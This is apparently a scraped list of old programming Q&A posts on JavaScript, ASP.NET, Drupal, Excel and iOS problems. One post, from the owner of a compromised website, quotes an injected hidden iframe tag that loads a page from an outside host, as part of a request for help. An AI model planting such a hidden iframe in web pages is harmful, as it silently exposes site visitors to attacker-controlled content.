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  • bit.ly API thumbnails

    - by user160222
    The bit.ly info API returns URLs for thumbnail images. When I attempt to access these images, I receive an access denied error. How do you access the thumbnail images generated by bit.ly? EDIT: I am testing the image URL by taking the URL provided by the info API and using the browser to access. Bit.ly returns an Access Denied error code. Do I need to somehow provide the login and apikey?

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  • Drupal: Views titles

    - by stef
    I have a View that outputs a page. Under Basic Settings I set a "title". When I load the page, I see that title as the page title (at top of the browser) - all good. How can I print this value out in the "Display output" .tpl file? The $title variable doesn't seem to hold any value here. Do I need to use a preprocess function? Thanks

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  • Getting "undefined method" error on form select in cucumber

    - by zlog
    I'm trying to visit a page with cucumber, with: visit new_video_path but I get this error: undefined method `episode_id' for #<Video:0x22df8dc> (ActionView::TemplateError) On line #19 of app/views/videos/_form.html.erb ... 19: <%= select(:video, :episode_id, @episodes.collect {|e| [ e.title, e.id ] }, { :include_blank => true }) %> It loads fine in the browser, and the form processes fine too. What did I do wrong?

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  • Issues loading SWF with External SWF Files - using SWFObject and ExternalInterface

    - by wdense51
    I'm having issues with loading a SWF that references external SWF files... The main SWF loads fine if the HTML file is in the same folder as all the SWFs using the following code: <script type="text/javascript" src="../js/swfobject.js"></script> <script type="text/javascript"> var flashvars = {}; var params = { allowScriptAccess: "always" }; params.quality = "high"; params.wmode = "transparent"; var attributes = {id:"IDofSWF", name:"IDofSWF"}; swfobject.embedSWF("event_so_js.swf", "flashContent", "700", "400", "7.0.0", false, flashvars, params, attributes);</script> </head> <body> <div id="flashContent"> <object data="event_so_js.swf" name="IDofSWF" id="IDofSWF" type="application/x-shockwave-flash" width="700" height="400"></object></div> But as soon as I move the HTML file out of that folder to the root folder and update the links, it doesn't load correctly - it seems that it's having trouble with the external SWF files. I did have it successfully load one of the external SWF files directly, but it's having trouble with the main SWF. All of the SWF files are in the same folder, so I don't know why it's having issues. Here's the code for the HTML file when it's in the root folder: <script type="text/javascript" src="js/swfobject.js"></script> <script type="text/javascript"> var flashvars = {}; var params = { allowScriptAccess: "always" }; params.quality = "high"; params.wmode = "transparent"; var attributes = {id:"IDofSWF", name:"IDofSWF"}; swfobject.embedSWF("folio/event_so_js.swf", "flashContent", "700", "400", "9.0.0", false, flashvars, params, attributes);</script> </head> <body> <div id="flashContent"> <object data="folio/event_so_js.swf" name="IDofSWF" id="IDofSWF" type="application/x-shockwave-flash" width="700" height="400"></object></div> There is also a link on the page that calls a function in the actionscript using ExternalInterface, so it could be that causing the issues. The code for the link is: <a href="#" onclick="document.getElementById('IDofSWF').clicky()"> Any help would be awesome, because it's really confusing me.

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  • setting a value through jquery

    - by Hulk
    <script> function edit(elem) { var ele=$(elem).siblings('label#test').html(); var a=document.getElementById('test'); var htm = '<input type="text" name="modal" id="modal" style="width:70%;" value="'+$(elem).siblings('label#test').html();+'"/>'; $dialog.html(htm) .dialog({ autoOpen: true, position: 'center' , title: 'EDIT', draggable: false, width : 300, height : 40, resizable : false, modal : true, buttons: { "Save" : function() { if($('#modal').val() != ''){a.value=$('#modal').val();$dialog.dialog('close');} else {alert('i++'+$('#modal').val()+'++');} } } }); $dialog.dialog('open'); } $(document).ready(function() { var flag=0; $("input:radio[@name=template]").click(function() { var checkedoption = $(this).val(); if (checkedoption == "template3") { if (flag == 0) { var html = '<input type="text" name="val" id="val" />&nbsp;&nbsp;&nbsp;<input type="button" value="Add" id="add"><br>'; $('#useroptions').append(html); flag=1; $('#add').click(function(){ var a = $('#val').val(); if (a == '') { alert('Enter options'); } else { var section= '<tr class="clickable"><td id="userval" BGCOLOR="#FF6699"><label id="test">' + a + '</label>&nbsp;&nbsp;&nbsp; <IMG SRC="/media/img/chunkedit.gif" onclick="javascript:edit(this);" >&nbsp;&nbsp;&nbsp;<IMG SRC="/media/img/close.gif" onclick="javascript:remove(this);" ></td></tr>'; $('#useroptions').append(section); } }); } } }); }); </script> <form> <table> <tr><td> <div id="useroptions"></div> </tr></td> </table> </form> How to set a new value for test in the above code.. Thanks

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  • PayPal IPN on port other than 80

    - by Ian Silber
    As anybody tried using Paypal's IPN on a port other than 80? I'm trying to specify a URL like http://domain.com:8080/url/to/ipn.php but the IPN request isn't getting through. If I hit the URL directly from my browser it works fine.

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  • How to disable scrollbars with JavaScript?

    - by Flupkear
    I need to lock the browser scrollbars when I show a div that represent a modal window in Internet Explorer 7 only. Googling I found that I can use document.body.style.overflow='hidden' but this doesn't work for IE7. I also tried with document.body.scroll="no" which works but only after I mouse over the scrollbar :-S Does anybody knows a better aproach? Thansks

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  • Valid Charset for CSS

    - by Alix Axel
    Quick question: what is the (full) valid / allowed charset for id and class CSS identifiers? Is there a regular expression that I can use to validate against? Is it browser agnostic?

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  • Javascript DOM ready without an entire framework

    - by Brian
    Hello, Does anyone know of a good javascript DOM ready library that I can use without loading an entire framework? I found one on google code that seems to work, but the library was posted in 2008 and I can't find any confirmation on up-to-date cross browser support. Thanks, Brian

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  • Cell value is read as #### in excel

    - by Sathish
    I am reading a cell value from excel using named range in my case sometime the column width is smaller then the value that is present in the cell and hence it is appearing as ##### when it is huge number. when i read this from csharp it is reading as #####. Any fix for this

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  • How to get MySite navigation bar to show up on a sub-site that is also using the mysite.master page

    - by Terry Barrett
    Hi, We have a created a subsite to the SharePoint 2010 Mysite (used blank site) called "home". This site uses the mysite.master master page. The problem is the top link (navigation) bar from MySite is not showing up on the subsite... Any ideas? If I open the home site in Share Point Designer - the navigation bar does show up... But not in the browser... Any help would be greatly appreciated! Terry

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  • combo box dropdown position

    - by Mironline
    dear friends I have a maximum size form which has the combobox (docked in top-right) and the combobox width is set to 500 px. now , the dropdown appear out of the screen , I want to set he dropdown position to start from right side to left side; // I use the visual studio 2008 and C# language // // thank you ashish yadav thank you . -mironline

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  • Is there a way to get SSL certificate details using JavaScript?

    - by sHz
    Hi all, I'd like to gather certain details of an SSL certificate on a particular web-site. I know this is straightforward using the openssl tool on Linux/MacOSX. However is the same or similar possible in JavaScript? I understand that the browser handles socket connections and that the SSL handshake occurs prior to any party sending data. However in an XMLHTTPRequest, I'd like to know if its possible to get these details as some sort of response code etc?

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  • .NET Setting a cookie in a WebBrowser control

    - by ty
    I am loading a website using a WebBrowser's Navigate function, and I want the browser to load the page with a cookie I've given it. The following code doesn't work: wb.Navigate(url, null, null, "Cookie: " + cookie + "\n"); What am I doing wrong? Will I have to use InternetSetCookie? This doesn't seem like the best solution. Thanks!

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  • CSS hack for Safari ONLY

    - by Jakub Lédl
    Hey guys, I'm solving one task and I need to create a piece of CSS what would apply only in Safari, NOT the other WebKit browser (mustn't apply in Chrome, f.e.). Please, could anyone toss in some ideas?

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  • java.io.IOException: Bad DNS address - in opening a HttpConnection

    - by Shreyas
    Hi, I m opening a HttpConnection to a URL. Its working in simulator but when i try it in device, it gives "java.io.IOException: Bad DNS address" while opening the HttpConnection. I serached the forums but havent got the solution yet. That URL is opening in Blackberry device Internet Browser but not getting the HttpConnection (HttpConnection is coming NULL) when i try through my code.

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  • Android::Webview removes scrollbar for a DIV

    - by Legend
    I made a small webpage with a scrollable div. When I load it in a browser, it works fine. But when I load it in a webview inside Android, it doesn't let me scroll the div. Is there a workaround for this or do I have to use a different design? I am talking about websites like this.

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  • Cache-Control and Expires doesn't Work

    - by mTuran
    Hi, I set up cache-control and expires headers via .htaccess but already it doesn't load from browser cache. When i enter the uri, i am waitting for load from web site. URI: http://www.btgmaslak.com/static/images/main_container_background_11.jpg

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  • Does visibility affect DOM manipulation performance?

    - by Chetan Sastry
    IE7/Windows XP I have a third party component in my page that does a lot of DOM manipulation to adjust itself each time the browser window is resized. Unfortunately I have little control of what it does internally and I have optimized everything else (such as callbacks and event handlers) as much as I can. I can't take the component off the flow by setting display:none because it fails measuring itself if I do so. In general, does setting visibility of the container to invisible during the resize help improve DOM rendering performance?

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  • iframe/script attack to website

    - by Ram
    I faced a website attack problem that some malicious javascript code added to all pages in my webiste. Recently I faced another problem that my website is attacked with the following "iframe" tag. iframe src="http://shopmovielife.cn:8080/index.php" width=127 height=167 style="visibility: hidden" Even if I remove this tag, the index file of website is updated on daily basis. What would be the reason for this behaviour? Please give me a solution to solve this.

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  • Popping UIView crashes app

    - by Adun
    I'm basically pushing a UIView from a UITableViewController and all it contains is a UIWebView. However when I remove the UIView to return back to the UITableView the app crashes. - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { // Navigation logic may go here. Create and push another view controller. if (indexPath.row == websiteCell) { NSString *urlPath = [NSString stringWithFormat:@"http://%@", exhibitor.website]; WebViewController *webViewController = [[WebViewController alloc] initWithURLString:urlPath]; // Pass the selected object to the new view controller. [self.parentViewController presentModalViewController:webViewController animated:YES]; [webViewController release]; } } If I comment out the [webViewController release] the app doesn't crash, but I know that this would be a leak. Below is the code for the Web Browser: #import "WebViewController.h" @implementation WebViewController @synthesize webBrowserView; @synthesize urlValue; @synthesize toolBar; @synthesize spinner; @synthesize loadUrl; -(id)initWithURLString:(NSString *)urlString { if (self = [super init]) { urlValue = urlString; } return self; } #pragma mark WebView Controls - (void)goBack { [webBrowserView goBack]; } - (void)goForward { [webBrowserView goForward]; } - (void)reload { [webBrowserView reload]; } - (void)closeBrowser { [self.parentViewController dismissModalViewControllerAnimated:YES]; } #pragma end // Implement viewDidLoad to do additional setup after loading the view, typically from a nib. - (void)viewDidLoad { [super viewDidLoad]; CGRect contentRect = self.view.bounds; //NSLog(@"%f", contentRect.size.height); float webViewHeight = contentRect.size.height - 44.0f; // navBar = 44 float toolBarHeight = contentRect.size.height - webViewHeight; // navigation bar UINavigationBar *navBar = [[[UINavigationBar alloc] initWithFrame:CGRectMake(0, 20, contentRect.size.width, 44)] autorelease]; navBar.delegate = self; UIBarButtonItem *doneButton = [[[UIBarButtonItem alloc] initWithTitle:@"Done" style:UIBarButtonItemStyleDone target:nil action:@selector(closeBrowser)] autorelease]; UINavigationItem *item = [[[UINavigationItem alloc] initWithTitle:@"CEDIA10"] autorelease]; item.leftBarButtonItem = doneButton; [navBar pushNavigationItem:item animated:NO]; [self.view addSubview:navBar]; // web browser webBrowserView = [[UIWebView alloc] initWithFrame:CGRectMake(0, 64, contentRect.size.width, webViewHeight)]; webBrowserView.delegate = self; webBrowserView.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight; webBrowserView.scalesPageToFit = YES; [self.view addSubview:webBrowserView]; // buttons UIBarButtonItem *backButton = [[[UIBarButtonItem alloc] initWithImage:[UIImage imageNamed:@"arrowleft.png"] style:UIBarButtonItemStylePlain target:self action:@selector(goBack)] autorelease]; UIBarButtonItem *fwdButton = [[[UIBarButtonItem alloc] initWithImage:[UIImage imageNamed:@"arrowright.png"] style:UIBarButtonItemStylePlain target:self action:@selector(goForward)] autorelease]; UIBarButtonItem *refreshButton = [[[UIBarButtonItem alloc] initWithBarButtonSystemItem:UIBarButtonSystemItemRefresh target:self action:@selector(reload)] autorelease]; UIBarButtonItem *flexSpace = [[[UIBarButtonItem alloc] initWithBarButtonSystemItem:UIBarButtonSystemItemFlexibleSpace target:nil action:nil] autorelease]; UIBarButtonItem *fixSpace = [[[UIBarButtonItem alloc] initWithBarButtonSystemItem:UIBarButtonSystemItemFixedSpace target:nil action:nil] autorelease]; [fixSpace setWidth: 40.0f]; spinner = [[[UIActivityIndicatorView alloc] initWithActivityIndicatorStyle:UIActivityIndicatorViewStyleWhite] autorelease]; [spinner startAnimating]; UIBarButtonItem *loadingIcon = [[[UIBarButtonItem alloc] initWithCustomView:spinner] autorelease]; NSArray *toolBarButtons = [[NSArray alloc] initWithObjects: fixSpace, backButton, fixSpace, fwdButton, flexSpace, loadingIcon, flexSpace, refreshButton, nil]; // toolbar toolBar = [[UIToolbar alloc] initWithFrame:CGRectMake(0, webViewHeight, contentRect.size.width, toolBarHeight)]; toolBar.autoresizingMask = UIViewAutoresizingFlexibleTopMargin | UIViewAutoresizingFlexibleWidth; toolBar.items = toolBarButtons; [self.view addSubview:toolBar]; // load the request NSURL *requestString = [NSURL URLWithString:urlValue]; [webBrowserView loadRequest:[NSURLRequest requestWithURL: requestString]]; [toolBarButtons release]; } - (void)viewWillDisappear { if ([webBrowserView isLoading]) { [webBrowserView stopLoading]; webBrowserView.delegate = nil; } } #pragma mark UIWebView - (void)webViewDidStartLoad:(UIWebView*)webView { [spinner startAnimating]; } - (void)webViewDidFinishLoad:(UIWebView*)webView { [spinner stopAnimating]; } - (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType { loadUrl = [[request URL] retain]; if ([[loadUrl scheme] isEqualToString: @"mailto"]) { UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"CEDIA10" message:@"Do you want to open Mail and exit AREC10?" delegate:self cancelButtonTitle:@"No" otherButtonTitles:@"Yes",nil]; [alert show]; [alert release]; return NO; } [loadUrl release]; return YES; } - (void)webView:(UIWebView *)webView didFailLoadWithError:(NSError *)error { [spinner stopAnimating]; if (error.code == -1009) { // no internet connection UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"CEDIA10" message:@"You need an active Internet connection." delegate:self cancelButtonTitle:@"OK" otherButtonTitles:nil]; [alert show]; [alert release]; } } #pragma mark UIAlertView - (void)alertView:(UIAlertView *)alertView clickedButtonAtIndex:(NSInteger)buttonIndex { if (buttonIndex == 1) { [[UIApplication sharedApplication] openURL:loadUrl]; [loadUrl release]; } } - (void)didReceiveMemoryWarning { // Releases the view if it doesn't have a superview. [super didReceiveMemoryWarning]; // Release any cached data, images, etc that aren't in use. [webBrowserView release]; [urlValue release]; [toolBar release]; [spinner release]; [loadUrl release]; webBrowserView = nil; webBrowserView.delegate = nil; urlValue = nil; toolBar = nil; spinner = nil; loadUrl = nil; } - (void)viewDidUnload { // Release any retained subviews of the main view. // e.g. self.myOutlet = nil; } - (void)dealloc { [webBrowserView release]; [urlValue release]; [toolBar release]; [spinner release]; [loadUrl release]; webBrowserView.delegate = nil; urlValue = nil; toolBar = nil; spinner = nil; loadUrl = nil; [super dealloc]; } @end Below this is the crash log that I am getting: Date/Time: 2010-05-13 11:58:20.023 +1000 OS Version: iPhone OS 3.1.3 (7E18) Report Version: 104 Exception Type: EXC_CRASH (SIGABRT) Exception Codes: 0x00000000, 0x00000000 Crashed Thread: 0 Thread 0 Crashed: 0 libSystem.B.dylib 0x00090b2c __kill + 8 1 libSystem.B.dylib 0x00090b1a kill + 4 2 libSystem.B.dylib 0x00090b0e raise + 10 3 libSystem.B.dylib 0x000a7e34 abort + 36 4 libstdc++.6.dylib 0x00066390 __gnu_cxx::__verbose_terminate_handler() + 588 5 libobjc.A.dylib 0x00008898 _objc_terminate + 160 6 libstdc++.6.dylib 0x00063a84 __cxxabiv1::__terminate(void (*)()) + 76 7 libstdc++.6.dylib 0x00063afc std::terminate() + 16 8 libstdc++.6.dylib 0x00063c24 __cxa_throw + 100 9 libobjc.A.dylib 0x00006e54 objc_exception_throw + 104 10 CoreFoundation 0x00095bf6 -[NSObject doesNotRecognizeSelector:] + 106 11 CoreFoundation 0x0001ab12 ___forwarding___ + 474 12 CoreFoundation 0x00011838 _CF_forwarding_prep_0 + 40 13 QuartzCore 0x0000f448 CALayerCopyRenderLayer + 24 14 QuartzCore 0x0000f048 CA::Context::commit_layer(_CALayer*, unsigned int, unsigned int, void*) + 100 15 QuartzCore 0x0000ef34 CALayerCommitIfNeeded + 336 16 QuartzCore 0x0000eedc CALayerCommitIfNeeded + 248 17 QuartzCore 0x00011ee8 CA::Context::commit_root(void*, void*) + 52 18 QuartzCore 0x00011e80 x_hash_table_foreach + 64 19 QuartzCore 0x00011e2c CA::Transaction::foreach_root(void (*)(void*, void*), void*) + 40 20 QuartzCore 0x0000bb68 CA::Context::commit_transaction(CA::Transaction*) + 1068 21 QuartzCore 0x0000b46c CA::Transaction::commit() + 276 22 QuartzCore 0x000135d4 CA::Transaction::observer_callback(__CFRunLoopObserver*, unsigned long, void*) + 84 23 CoreFoundation 0x0000f82a __CFRunLoopDoObservers + 466 24 CoreFoundation 0x00057340 CFRunLoopRunSpecific + 1812 25 CoreFoundation 0x00056c18 CFRunLoopRunInMode + 44 26 GraphicsServices 0x000041c0 GSEventRunModal + 188 27 UIKit 0x00003c28 -[UIApplication _run] + 552 28 UIKit 0x00002228 UIApplicationMain + 960 29 CEDIA10 0x00002e16 main (main.m:14) 30 CEDIA10 0x00002db8 start + 32 Any ideas on why the app is crashing?

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  • ASP.NET Client to Server communication

    - by Nelson
    Can you help me make sense of all the different ways to communicate from browser to client in ASP.NET? I have made this a community wiki so feel free to edit my post to improve it. Specifically, I'm trying to understand in which scenario to use each one by listing how each works. I'm a little fuzzy on UpdatePanel vs CallBack (with ViewState): I know UpdatePanel always returns HTML while CallBack can return JSON. Any other major differences? ...and CallBack (without ViewState) vs WebMethod. CallBack goes through most of the Page lifecycle, WebMethod doesn't. Any other major differences? IHttpHandler Custom handler for anything (page, image, etc.) Only does what you tell it to do (light server processing) Page is an implementation of IHttpHandler If you don't need what Page provides, create a custom IHttpHandler If you are using Page but overriding Render() and not generating HTML, you probably can do it with a custom IHttpHandler (e.g. writing binary data such as images) By default can use the .axd or .ashx file extensions -- both are functionally similar .ashx doesn't have any built-in endpoints, so it's preferred by convention Regular PostBack (System.Web.UI.Page : IHttpHandler) Inherits Page Full PostBack, including ViewState and HTML control values (heavy traffic) Full Page lifecycle (heavy server processing) No JavaScript required Webpage flickers/scrolls since everything is reloaded in browser Returns full page HTML (heavy traffic) UpdatePanel (Control) Control inside Page Full PostBack, including ViewState and HTML control values (heavy traffic) Full Page lifecycle (heavy server processing) Controls outside the UpdatePanel do Render(NullTextWriter) Must use ScriptManager If no client-side JavaScript, it can fall back to regular PostBack with no JavaScript (?) No flicker/scroll since it's an async call, unless it falls back to regular postback. Can be used with master pages and user controls Has built-in support for progress bar Returns HTML for controls inside UpdatePanel (medium traffic) Client CallBack (Page, System.Web.UI.ICallbackEventHandler) Inherits Page Most of Page lifecycle (heavy server processing) Takes only data you specify (light traffic) and optionally ViewState (?) (medium traffic) Client must support JavaScript and use ScriptManager No flicker/scroll since it's an async call Can be used with master pages and user controls Returns only data you specify in format you specify (e.g. JSON, XML...) (?) (light traffic) WebMethod Class implements System.Web.Service.WebService HttpContext available through this.Context Takes only data you specify (light traffic) Server only runs the called method (light server processing) Client must support JavaScript No flicker/scroll since it's an async call Can be used with master pages and user controls Returns only data you specify, typically JSON (light traffic) Can create instance of server control to render HTML and sent back as string, but events, paging in GridView, etc. won't work PageMethods Essentially a WebMethod contained in the Page class, so most of WebMethod's bullet's apply Method must be public static, therefore no Page instance accessible HttpContext available through HttpContext.Current Accessed directly by URL Page.aspx/MethodName (e.g. with XMLHttpRequest directly or with library such as jQuery) Setting ScriptManager property EnablePageMethods="True" generates a JavaScript proxy for each WebMethod Cannot be used directly in user controls with master pages and user controls Any others?

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